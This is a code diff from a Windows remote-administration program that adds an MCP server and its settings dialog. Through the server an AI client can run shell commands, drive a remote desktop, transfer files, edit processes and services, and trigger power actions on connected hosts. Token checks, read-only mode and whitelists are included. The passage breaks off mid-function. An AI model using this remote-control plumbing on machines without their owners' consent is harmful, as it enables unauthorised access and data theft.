// 供 Web UI(CWebService::BuildDeviceListJson)与 MCP 工具(list_online_hosts)复用,
// 避免两处重复易错的编码转换(见 docs/Mcp_Design.md §3.4 方案 C)。
//
// 职责边界:本函数只负责「单台主机 → Json::Value」的字段序列化与编码转换。
// 分组/用户过滤、m_cs 加锁、外层结构(Web 的 {"cmd","devices"} vs MCP 的 {"hosts"})
// 属于调用方,不进本函数。调用方须在 m_cs 锁内调用。
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
+9 -8
View File
@@ -703,12 +703,13 @@ protected:
if (langCode == _T("zh_CN")) return _T("Simplified Chinese"); if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
if (langCode == _T("zh_TW")) return _T("Traditional Chinese"); if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
if (langCode == _T("en_US")) return _T("English"); if (langCode == _T("en_US")) return _T("English");
if (langCode == _T("de_DE")) return _T("Deutsch");
return langCode; return langCode;
} }
LPCDLGTEMPLATE CreateDialogTemplate() LPCDLGTEMPLATE CreateDialogTemplate()
{ {
const WORD DLG_WIDTH = 200; const WORD DLG_WIDTH = 260;
const WORD DLG_HEIGHT = 75; const WORD DLG_HEIGHT = 75;
m_templateBuffer.clear(); m_templateBuffer.clear();
@@ -722,24 +723,24 @@ protected:
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE)); AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
AppendWord(0); // 菜单 AppendWord(0); // 菜单
AppendWord(0); // 窗口类 AppendWord(0); // 窗口类
AppendString(_T("Select Language")); AppendString(_T("切换语言 / Switch Language"));
AlignToDword(); AlignToDword();
// 静态文本 // 静态文本
AddControl(0x0082, 15, 15, 50, 12, (WORD)-1, AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:")); SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
// ComboBox // ComboBox
AddControl(0x0085, 65, 13, 120, 150, 1001, AddControl(0x0085, 65, 13, 180, 150, 1001,
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T("")); CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
// OK 按钮 // OK 按钮
AddControl(0x0080, 45, 50, 50, 14, IDOK, AddControl(0x0080, 75, 50, 50, 14, IDOK,
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK")); BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
// Cancel 按钮 // Cancel 按钮
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL, AddControl(0x0080, 135, 50, 50, 14, IDCANCEL,
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel")); BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
return (LPCDLGTEMPLATE)m_templateBuffer.data(); return (LPCDLGTEMPLATE)m_templateBuffer.data();
} }
File diff suppressed because it is too large. Load diff
+390
View File
@@ -0,0 +1,390 @@
#pragma once
#include <Windows.h>
#include <string>
#include <thread>
#include <atomic>
#include <chrono>
#include <mutex>
#include <condition_variable>
#include <map>
#include <set>
#include <vector>
#include <cstdint>
#include <ctime>
// httplib 与 Windows 头部的 min/max 宏冲突,按 file_server.h 的既有约定处理。
#undef min
#undef max
#include "httplib.h"
#ifndef max
#define max(a,b) (((a) > (b)) ? (a) : (b))
#endif
#ifndef min
#define min(a,b) (((a) < (b)) ? (a) : (b))
#endif
#pragma comment(lib, "ws2_32.lib")
class CMy2015RemoteDlg;
class context;
// 文件传输结果条目(download_file 输出 files[] 的一项)。
// path 为本机落盘绝对路径(ANSI,输出 JSON 时再转 UTF-8);sha256 为小写 hex。
struct FileTransferEntry {
std::string path;
uint64_t size = 0;
std::string sha256;
};
// MCP (Model Context Protocol) 服务端:httplib 封装 + JSON-RPC 2.0 分发 + 静态 token 校验。
// 与 CWebService 平级、互不依赖;默认禁用,经「扩展 → MCP设置」开启后监听
// (默认 127.0.0.1:6544,仅本机回环)。见 docs/Mcp_Design.md。
class CMcpServer {
public:
static CMcpServer& Instance();
void SetParentDlg(CMy2015RemoteDlg* pDlg) { m_parent = pDlg; }
void SetToken(const std::string& token) { m_token = token; }
bool Start(const std::string& bind, int port);
void Stop();
bool IsRunning() const { return m_running.load(); }
// ===== P2b:无请求 id 的一次性响应 → 每 host 单飞行 =====
// 进程/窗口列表(TOKEN_PSLIST/TOKEN_WSLIST,一次性子链接)与历史活动
// (TOKEN_REPORT_ACTIVITY,主连接 RPC)都不带请求关联,同一 host 同一时刻
// 只允许一个挂起请求,避免同 host 并发请求响应归属歧义。
// 注意:单飞行只约束 MCP 侧同 host 并发,不约束与 MFC 对话框并存(各用独立子链接)。
// 该 host 是否已有挂起请求(MessageHandle 在 TOKEN_PSLIST/TOKEN_WSLIST 分支调用)。
bool IsPending(uint64_t device_id);
// 拷贝响应缓冲到挂起结果并唤醒等待者(在 MessageHandle 内同步调用,数据此时仍在
// context 缓冲中、IO 线程被阻塞,拷贝是安全的)。
void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len);
// 工具线程:登记挂起(false = 该 host 已有挂起请求,设备忙)。
bool BeginPending(uint64_t device_id, const std::string& tool);
// 工具线程:等待响应;成功返回 true 并把缓冲写入 out,超时/失败返回 false(并清理)。
bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
// 工具线程:清理挂起状态(发送失败等提前退出路径)。
void ClearPending(uint64_t device_id);
// ===== P2c:list_files / get_screenshot 扩展 =====
// 登记挂起(带目录路径;list_files 专用,path 为空表示只列盘)。
bool BeginPending(uint64_t device_id, const std::string& tool, const std::string& path);
// get_screenshot:工具线程生成 16 位 reqId(跳过 0,0 表示未设置),用于丢弃过期响应。
uint16_t NextPreviewReqId();
// get_screenshot:登记期望的 reqId(必须在发送 COMMAND_SCREEN_PREVIEW_REQ 前调用)。
void SetPendingReqId(uint64_t device_id, uint16_t reqId);
// get_screenshot:MessageHandle(TOKEN_SCREEN_PREVIEW_RSP) 在 IO 线程同步调用;
// 挂起命中且 reqId 一致则拷贝响应并返回 true,否则 false(回落到 MFC 预览路径)。
bool TakePreviewResponse(uint64_t device_id, uint16_t reqId, const BYTE* data, ULONG len);
// list_files:MessageHandle(TOKEN_DRIVE_LIST) 调用。
// 返回 true = 已取走盘列表(调用方 CancelIO);false = 已转向下发 COMMAND_LIST_FILES、
// 等 TOKEN_FILE_LIST(调用方不关子链接)。
bool OnDriveList(uint64_t device_id, context* subCtx, const BYTE* buf, ULONG len);
// ===== P3:list_registry(注册表查询,三阶段:COMMAND_REGEDIT → TOKEN_REGEDIT →
// COMMAND_REG_FIND → TOKEN_REG_PATH + TOKEN_REG_KEY)=====
// MessageHandle(TOKEN_REGEDIT) 调用:挂起命中且为 list_registry 则下发 COMMAND_REG_FIND
// 并返回 true(接管子链接,不打开 MFC 对话框);否则 false(回落 MFC)。
bool OnRegeditReady(uint64_t device_id, context* subCtx);
// MessageHandle(TOKEN_REG_PATH / TOKEN_REG_KEY) 调用:两包都到齐后置 done 并唤醒等待者。
void TakeRegPath(uint64_t device_id, const BYTE* data, ULONG len);
void TakeRegKey(uint64_t device_id, const BYTE* data, ULONG len);
// 工具线程:等待注册表两包(子键 + 值);成功返回 true 并把两包分别写入 out,超时返回 false。
bool WaitPendingRegistry(uint64_t device_id, std::vector<BYTE>& subkeys,
std::vector<BYTE>& values, int timeoutMs);
// ===== P3:exec_command(Windows 一次性远程命令,复刻 Web 终端链路)=====
// 流程:工具线程 BeginTermPending → 主连接下发 COMMAND_SHELL → 客户端 shell 子连接回
// TOKEN_TERMINAL_START / TOKEN_SHELL_START → RegisterTerminalContext 接管 → 发
// COMMAND_NEXT(+PTY resize) 启动输出回流 → 工具线程发哨兵命令行 → OnTerminalData 收集
// 并做哨兵检测 → WaitTerminalDone 取 stdout + exit_code → CancelIO 关子链接。
// 单设备单终端(MVP):BeginTermPending 命中已有会话即拒绝,避免同设备并发归属歧义。
// 该 host 是否已有待接管的终端会话(MessageHandle TOKEN_*_START 分支调用)。
bool IsTermPending(uint64_t device_id);
// 终端子连接就绪:接管(登记 subCtx/isPty、清 pending、发 COMMAND_NEXT 唤醒回流)。
void RegisterTerminalContext(uint64_t device_id, context* subCtx, bool isPty);
// 终端子连接是否已被 MCP 接管(MessageHandle 顶部据此把 shell 输出路由到 OnTerminalData)。
bool IsTerminalContext(context* subCtx);
// 追加 shell 输出并做哨兵检测(命中置 done 并唤醒等待者)。
void OnTerminalData(context* subCtx, const BYTE* data, ULONG len);
// shell 进程退出(TOKEN_TERMINAL_CLOSE)。
void OnTerminalClosed(context* subCtx);
// 工具线程:登记终端挂起(false = 该 host 已有终端会话)。
bool BeginTermPending(uint64_t device_id, const std::string& command, const std::string& nonce);
// 工具线程:等待子连接回 START 并接管(true = 已接管,输出 subCtx/isPty)。
bool WaitTerminalReady(uint64_t device_id, context*& subCtx, bool& isPty, int timeoutMs);
// 工具线程:等待输出收集完成(哨兵命中 / 进程退出 / 超时)。
// 成功 true:out=截断到哨兵前的原始字节、exitCode=0/1(进程退出无哨兵时 -1)、closed=是否进程退出。
bool WaitTerminalDone(uint64_t device_id, std::vector<BYTE>& out, int& exitCode, bool& closed, int timeoutMs);
// 工具线程:清理终端挂起(发送失败等提前退出路径)。
void ClearTermPending(uint64_t device_id);
// ===== P4:持久远程终端(terminal_open / terminal_exec / terminal_close)=====
void SetTerminalEnabled(bool enabled) { m_terminalEnabled = enabled; }
bool IsTerminalEnabled() const { return m_terminalEnabled; }
// 登记持久终端挂起(复用单设备单终端约束;sessionId 由调用方生成)。
bool BeginTermOpen(uint64_t device_id, const std::string& sessionId);
// 复位单条命令字段并置 busy;输出 subCtx/isPty。false = 不存在/不匹配/未就绪/忙碌/已关。
bool BeginTermCommand(uint64_t device_id, const std::string& sessionId,
const std::string& command, const std::string& nonce,
context*& subCtx, bool& isPty);
// 等待本条命令完成(done || closed || 超时)。done=保持会话;closed/超时=清理会话+路由。
bool WaitTermCommand(uint64_t device_id, std::vector<BYTE>& out, int& exitCode,
bool& closed, int timeoutMs);
// 关闭持久终端(校验 sessionId;CancelIO + 清理路由/会话)。
// 返回:0=已关闭;1=会话不存在(幂等);2=sessionId 不匹配(调用方报错)。
int CloseTermSession(uint64_t device_id, const std::string& sessionId);
// idle 回收:关闭 lastActiveAt 超时且非 busy 的持久会话。返回回收数量。
int SweepIdleTerminals(time_t idleTimeoutSec);
// ===== P5:MCP 远程控制(remote_open / remote_close / remote_mouse / remote_keyboard)=====
// 屏幕子连接由 WebService::StartRemoteDesktop 建立的隐藏 CScreenSpyDlg 持有(复用 Web
// 路径,见 docs/Mcp_RemoteControl_Design.md §6.3);会话仅记录逻辑状态 + 子连接指针。
// 注入走该子连接(COMMAND_SCREEN_CONTROL),与终端一样单设备单会话。
void SetRemoteControlEnabled(bool enabled) { m_remoteControlEnabled = enabled; }
bool IsRemoteControlEnabled() const { return m_remoteControlEnabled; }
// 该 host 的屏幕子连接是否被 MCP 远程控制会话持有(OfflineProc 反查用)。
bool IsScreenCtrlContext(context* subCtx);
// 登记控制会话(单设备单会话;sessionId 由调用方生成)。false = 该设备已有会话。
bool BeginScreenCtrlOpen(uint64_t device_id, const std::string& sessionId);
// 子连接就绪(HasActiveSession && 分辨率到达)后调用:填 subCtx/分辨率并置 started。
// false = 会话已被并发关闭(调用方应放弃本次 open)。
bool MarkScreenCtrlReady(uint64_t device_id, const std::string& sessionId,
context* subCtx, int screenW, int screenH);
// 注入前登记(校验 sessionId/started/!busy/!closed)。输出 subCtx/screenW/H。
// 注入期间 busy=true,保证 close/sweep/断线不与注入并发擦会话(镜像终端 busy 模式,
// 评审发现 #6)。返回:0=ok;1=不存在/不匹配/未就绪/已断(-32002);2=忙(-32003)。
int BeginScreenCtrlAction(uint64_t device_id, const std::string& sessionId,
context*& subCtx, int& screenW, int& screenH);
// 注入后复位 busy;若注入期间屏幕子连接已断(closed),擦会话+路由(防泄漏)。
void EndScreenCtrlAction(uint64_t device_id, const std::string& sessionId);
// 关闭控制会话(校验 sessionId;擦路由 + 会话)。屏幕子连接的关闭由调用方锁外执行
// (CloseWebRemoteDesktopByClientID)。返回 0=已关;1=不存在(幂等);2=sessionId 不匹配。
int CloseScreenCtrlSession(uint64_t device_id, const std::string& sessionId);
// idle 回收:关闭 lastActiveAt 超时的控制会话,并锁外关闭其隐藏对话框。返回回收数量。
int SweepIdleScreenCtrl(time_t idleTimeoutSec);
// 屏幕子连接断开(OfflineProc 调用):擦除该子连接对应的会话 + 路由(幂等)。
void OnScreenControlClosed(context* subCtx);
// ===== P6:MCP 文件传输(download_file,V2 协议)=====
// 下载走 CMD_DOWN_FILES_V2 → 客户端新开流式子连接回传 COMMAND_SEND_FILE_V2 /
// COMMAND_FILE_COMPLETE_V2(dstClientID==0)。会话按 device_id 键控,单设备单传输;
// 复用 list_files 的 COMMAND_LIST_DRIVE → TOKEN_DRIVE_LIST 开文件管理器子链接下发命令。
void SetFileTransferEnabled(bool enabled) { m_fileTransferEnabled = enabled; }
bool IsFileTransferEnabled() const { return m_fileTransferEnabled; }
// 该 host 是否有进行中的文件传输会话(MessageHandle 分派守卫)。
bool IsFileTransferPending(uint64_t device_id);
// 登记文件传输会话(false = 该 host 已有文件会话或一次性挂起请求)。
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
const std::string& localDir, const std::string& remotePath,
bool overwrite);
// 登记上传会话(false = 该 host 已有文件会话或一次性挂起请求)。upload 走主连接、
// 工具线程同步驱动 FileBatchTransferWorkerV2,会话仅为单设备单传输互斥标记
// (无 fmSubCtx/streamSubCtx,ClearFileTransfer 对空指针安全)。
bool BeginFileUpload(uint64_t device_id);
// TOKEN_DRIVE_LIST:识别 download_file,存文件管理器子链接并下发 CMD_DOWN_FILES_V2。
// 返回 true=已接管(保持子链接,收尾由 ClearFileTransfer);false=会话已清理(调用方 CancelIO)。
bool OnDownloadDriveList(uint64_t device_id, context* fmSubCtx);
// COMMAND_SEND_FILE_V2:解析 chunk,路径校验 + overwrite 判定 + 落盘(RecvFileChunkV2)。
void OnFileChunkV2(uint64_t device_id, context* streamSubCtx, const BYTE* buf, ULONG len);
// COMMAND_FILE_COMPLETE_V2:SHA-256 校验(HandleFileCompleteV2)+ 完成判定。
void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);
// 工具线程:等待传输完成;true=成功(files 已填,error=0),false=失败/超时(error 填原因)。
// 无论成败,files 都会返回已见文件的落盘路径(成功=完整文件,失败=供调用方删半成品)。
// 调用方随后必须调 ClearFileTransfer 收尾(擦会话 + CancelIO 子链接)。
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs,
std::vector<FileTransferEntry>& files, int& skipped, int& error);
// 收尾:擦会话 + 锁外 CancelIO 文件管理器/流式两条子链接(幂等)。
void ClearFileTransfer(uint64_t device_id);
// ===== P7:设备管理控制(kill_process / operate_window / control_service / power_action)=====
// 写工具复用 m_Pending 单飞行;followUp/followUpSent/subCtx 标记接管进度。
// 「就绪 token」与「确认 token」是同一 token(客户端子连接构造即回一包,写后再回一包),
// 故必须用 followUpSent 区分两次到达,不能靠 token 区分(与 list_registry 的 PATH/KEY 双 token 不同)。
void SetManageEnabled(bool enabled) { m_manageEnabled = enabled; }
bool IsManageEnabled() const { return m_manageEnabled; }
// 登记写挂起:与 BeginPending 同单飞行,另预填 followUp(写命令 payload)。
bool BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
const std::vector<BYTE>& followUp);
// MessageHandle(TOKEN_PSLIST/TOKEN_WSLIST) 调用:命中且为写工具(kill_process/operate_window)
// 则接管子连接、下发 followUp(返回 true=已接管,调用方不 CancelIO);否则 false(回落 MFC
// 或按确认包走 TakeMainResponse)。
bool OnSystemReady(uint64_t device_id, context* subCtx);
// MessageHandle(TOKEN_SERVERLIST) 调用:命中且为 control_service 则接管、下发
// COMMAND_SERVICECONFIG(返回 true=已接管);否则 false。
bool OnServiceReady(uint64_t device_id, context* subCtx);
// 工具线程:等待写确认包(第二个同 token 包);超时/空数据清挂起并 CancelIO 子连接。
bool WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
// OfflineProc 调用:接管的子连接断开时清挂起(置 done 并清 subCtx,唤醒等待线程)。
// 不擦表(由 WaitPendingWrite 持有迭代器时自行擦除,防迭代器失效);清 subCtx 使
// 超时路径不会对已回收(连接池复用)的 context 误 CancelIO。
void OnManageSubClosed(context* subCtx);
// 安全配置(启动时由 CMy2015RemoteDlg 读 THIS_CFG 后设置)。
void SetReadonly(bool readonly) { m_readonly = readonly; }
void SetCmdWhitelist(const std::string& whitelist) { m_cmdWhitelist = whitelist; }
bool IsReadonly() const { return m_readonly; }
const std::string& GetCmdWhitelist() const { return m_cmdWhitelist; }
private:
CMcpServer();
~CMcpServer();
CMcpServer(const CMcpServer&) = delete;
CMcpServer& operator=(const CMcpServer&) = delete;
// POST /mcp 处理器:token 校验 + JSON-RPC 分发。
void HandleMcp(const httplib::Request& req, httplib::Response& res);
httplib::Server m_server;
std::thread m_thread;
std::atomic<bool> m_running{false};
std::string m_token;
CMy2015RemoteDlg* m_parent = nullptr;
// 挂起请求注册表(受 m_PendingMutex 保护,键 = device_id)。
struct PendingRequest {
std::string tool;
std::string path; // list_files:目录路径;list_registry:rootToken(1B)+相对子键路径
uint16_t expectedReqId = 0; // get_screenshot:期望的预览 reqId(0 = 未设置)
std::vector<BYTE> data;
std::vector<BYTE> regPath; // list_registry:TOKEN_REG_PATH 子键包(含 token 字节)
std::vector<BYTE> regKey; // list_registry:TOKEN_REG_KEY 值包(含 token 字节)
bool pathDone = false; // list_registry:已收到 TOKEN_REG_PATH
bool keyDone = false; // list_registry:已收到 TOKEN_REG_KEY
bool done = false;
// ===== P7:写工具(kill_process / operate_window / control_service)接管进度 =====
std::vector<BYTE> followUp; // 接管后下发的写命令 payload(首字节 = 写命令)
bool followUpSent = false; // false=等子连接就绪(首包);true=已发写命令、等确认包
context* subCtx = nullptr; // 接管的子连接(超时/失败 CancelIO 用,防孤儿子连接)
};
std::mutex m_PendingMutex;
std::condition_variable m_PendingCv;
std::map<uint64_t, PendingRequest> m_Pending;
// get_screenshot 的 reqId 发生器(16 位,跳过 0)。与 MFC 预览的 m_PreviewReqId 各自独立计数。
std::atomic<uint16_t> m_PreviewReqId{1};
// ===== P3:exec_command 终端会话(受 m_TermMutex 保护)=====
struct TermSession {
bool started = false; // false=已发 COMMAND_SHELL 待 START;true=已接管
context* subCtx = nullptr; // shell 子连接上下文
bool isPty = false; // true=ConPTY(UTF-8);false=老 cmd 管道(GBK)
std::string command; // 原始 UTF-8 命令(审计用)
std::string nonce; // 哨兵随机串
std::vector<BYTE> data; // 收集的原始 shell 输出
size_t sentPos = 0; // 哨兵在 data 中的位置
int exitCode = -1;
bool done = false; // 哨兵命中
bool closed = false; // TOKEN_TERMINAL_CLOSE(进程退出)
// ===== 新增(持久终端)=====
std::string sessionId; // 持久会话 token(一次性 exec 为空)
bool persistent = false;
bool busy = false; // 一条命令在飞(terminal_exec 复位→WaitTermCommand 返回)
time_t lastActiveAt = 0; // idle 回收用(秒)
};
std::mutex m_TermMutex;
std::condition_variable m_TermCv;
std::map<uint64_t, TermSession> m_TermSessions; // device_id → 会话
std::map<context*, uint64_t> m_TermContextToDevice; // subCtx → device_id(顶部路由)
// ===== P5:远程控制会话(受 m_ScreenCtrlMutex 保护;单设备单会话)=====
struct ScreenCtrlSession {
std::string sessionId; // 会话 token(每次 open 独立随机)
context* subCtx = nullptr; // 屏幕子连接上下文(就绪后填;用于注入)
bool started = false; // false=子连接建立中;true=已就绪
bool busy = false; // 一条注入在飞(BeginScreenCtrlAction→End 之间)
bool closed = false; // 注入期间屏幕子连接已断(由注入线程收尾)
time_t lastActiveAt = 0; // idle 回收用(秒)
int screenW = 0; // 物理捕获分辨率(来自 TOKEN_BITMAPINFO)
int screenH = 0;
};
std::mutex m_ScreenCtrlMutex;
std::map<uint64_t, ScreenCtrlSession> m_ScreenCtrlSessions; // device_id → 会话
std::map<context*, uint64_t> m_ScreenCtrlContextToDevice; // subCtx → device_id(OfflineProc 反查)
// ===== P6:文件传输会话(受 m_FileXferMutex 保护;单设备单传输)=====
struct FileTransferSession {
std::string tool; // "download_file" / "upload_file"
std::string localDir; // download:本机保存目录(ANSI,结尾 '\')
std::string remotePath; // 客户端远程路径(ANSI,发 CMD_DOWN_FILES_V2 用)
bool overwrite = false; // 是否覆盖已存在文件
context* fmSubCtx = nullptr; // 文件管理器子链接(下发 CMD_DOWN_FILES_V2)
context* streamSubCtx = nullptr; // 流式子链接(首个 chunk 填,收尾 CancelIO)
uint64_t transferID = 0; // 客户端回填的传输会话 ID
uint32_t totalFiles = 0; // 客户端声明的文件总数(含目录项,见 F4)
uint32_t directoryCount = 0; // 目录项计数(目录不发 COMPLETE 包)
uint32_t filesDone = 0; // 已完成的文件数(含跳过的)
bool done = false; // 全部完成或出错
int error = 0; // 0=ok;8=哈希不匹配;1001=路径逃逸;1002=超时
std::map<uint32_t, FileTransferEntry> fileEntries; // fileIndex → {path,size,sha256}
std::set<uint32_t> skipIndexes; // overwrite=false 跳过的 fileIndex
std::vector<FileTransferEntry> skipped; // 跳过的文件(供输出)
time_t startAt = 0;
};
std::mutex m_FileXferMutex;
std::condition_variable m_FileXferCv;
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
bool m_readonly = true;
std::string m_cmdWhitelist;
bool m_terminalEnabled = false; // 持久终端开关(默认关;要求 m_readonly=false)
bool m_remoteControlEnabled = false; // 远程控制开关(默认关;要求 m_readonly=false)
bool m_fileTransferEnabled = false; // 文件传输开关(默认关;download_file)
bool m_manageEnabled = false; // P7 管理控制开关(默认关;要求 m_readonly=false)
};
// 全局访问器(仿 WebService(),见 WebService.h 末尾)
inline CMcpServer& McpServer() { return CMcpServer::Instance(); }
// 生成 32 hex(128-bit)随机 token;供运行时兜底与「MCP设置」对话框预填复用。
std::string GenerateRandomToken();
+321
View File
@@ -0,0 +1,321 @@
#include "stdafx.h"
#include "McpSettingsDlg.h"
#include "LangManager.h" // _TR / MessageBoxL
#include "McpServer.h" // GenerateRandomToken
#include "2015Remote.h" // THIS_CFG (GetThisCfg)
#include <atlconv.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
namespace {
// 构造一个无控件的 DLGTEMPLATE:cdit=0,控件由 OnInitDialog 动态创建。
// (与 ZstaPickerDlg.cpp 内同名函数一致)
void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption, short cx, short cy)
{
out.clear();
auto append = [&](const void* p, size_t n) {
const BYTE* b = (const BYTE*)p;
out.insert(out.end(), b, b + n);
};
auto appendW = [&](WORD v) {
out.push_back((BYTE)(v & 0xFF));
out.push_back((BYTE)((v >> 8) & 0xFF));
};
auto appendWStr = [&](LPCWSTR s) {
size_t n = wcslen(s);
append(s, (n + 1) * sizeof(WCHAR));
};
DLGTEMPLATE dt = { 0 };
dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
WS_POPUP | WS_CAPTION | WS_SYSMENU;
dt.dwExtendedStyle = 0;
dt.cdit = 0;
dt.x = 0; dt.y = 0;
dt.cx = cx; dt.cy = cy;
append(&dt, sizeof(dt));
appendW(0); // no menu
appendW(0); // default dialog class
appendWStr(caption); // caption
appendW(8); // font point size
appendWStr(L"MS Shell Dlg"); // typeface
while (out.size() % 4) out.push_back(0); // DWORD align
}
// 把白名单文本规范化为「逗号分隔、逐项去首尾空白、去空项」的存储格式。
// 换行视作分隔符(与逗号等价),便于多行输入。
std::string NormalizeWhitelist(const std::string& raw)
{
std::string norm;
norm.reserve(raw.size());
for (char ch : raw)
norm += (ch == '\r' || ch == '\n') ? ',' : ch;
std::vector<std::string> items;
size_t start = 0;
while (start < norm.size()) {
size_t comma = norm.find(',', start);
std::string item = norm.substr(start, comma == std::string::npos ? std::string::npos : comma - start);
size_t b = item.find_first_not_of(" \t\r\n");
if (b != std::string::npos) {
size_t e = item.find_last_not_of(" \t\r\n");
item = item.substr(b, e - b + 1);
} else {
item.clear();
}
if (!item.empty()) items.push_back(item);
if (comma == std::string::npos) break;
start = comma + 1;
}
std::string out;
for (size_t i = 0; i < items.size(); ++i) {
if (i) out += ",";
out += items[i];
}
return out;
}
// 存储格式(逗号分隔)→ 多行展示(每行一条)。
std::string WhitelistForDisplay(const std::string& stored)
{
std::string disp;
disp.reserve(stored.size());
for (char ch : stored) {
if (ch == ',') disp += "\r\n";
else disp += ch;
}
return disp;
}
} // namespace
BEGIN_MESSAGE_MAP(CMcpSettingsDlg, CDialog)
END_MESSAGE_MAP()
CMcpSettingsDlg::CMcpSettingsDlg(CWnd* parent)
: CDialog((LPCTSTR)NULL, parent)
{
}
INT_PTR CMcpSettingsDlg::DoModal()
{
USES_CONVERSION;
CString title = _TR("MCP设置");
BuildDialogTemplate(m_Template, T2CW(title), 320, 420);
InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
return CDialog::DoModal();
}
BOOL CMcpSettingsDlg::OnInitDialog()
{
CDialog::OnInitDialog();
CRect cli;
GetClientRect(&cli);
// 占位 rect,真正布局在 LayoutControls 里
CRect r0(0, 0, 10, 10);
m_btnEnable.Create(_TR("启用 MCP"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_ENABLE);
m_lblPort.Create(_TR("端口"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editPort.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
r0, this, IDC_MCP_PORT);
m_lblBind.Create(_TR("绑定地址"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editBind.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
r0, this, IDC_MCP_BIND);
m_lblToken.Create(_TR("Token"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editToken.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
r0, this, IDC_MCP_TOKEN);
m_btnReadonly.Create(_TR("只读模式(禁命令执行)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_READONLY);
m_btnTerminal.Create(_TR("启用持久终端(全命令,无白名单)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_TERMINAL);
m_btnRemoteControl.Create(_TR("启用远程控制(AI 操控桌面)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_REMOTECONTROL);
m_btnFileTransfer.Create(_TR("启用文件传输(download_file)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_FILETRANSFER);
m_btnManage.Create(_TR("启用管理操作(进程/窗口/服务/电源)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_MANAGE);
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
r0, this, IDC_MCP_WHITELIST);
m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
r0, this, IDOK);
m_btnCancel.Create(_TR("取消"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
r0, this, IDCANCEL);
// 子控件继承对话框字体 (DS_SETFONT)
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
if (hFont) {
m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_editPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_editBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblToken.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_editToken.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnReadonly.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnTerminal.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnRemoteControl.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnFileTransfer.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnManage.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
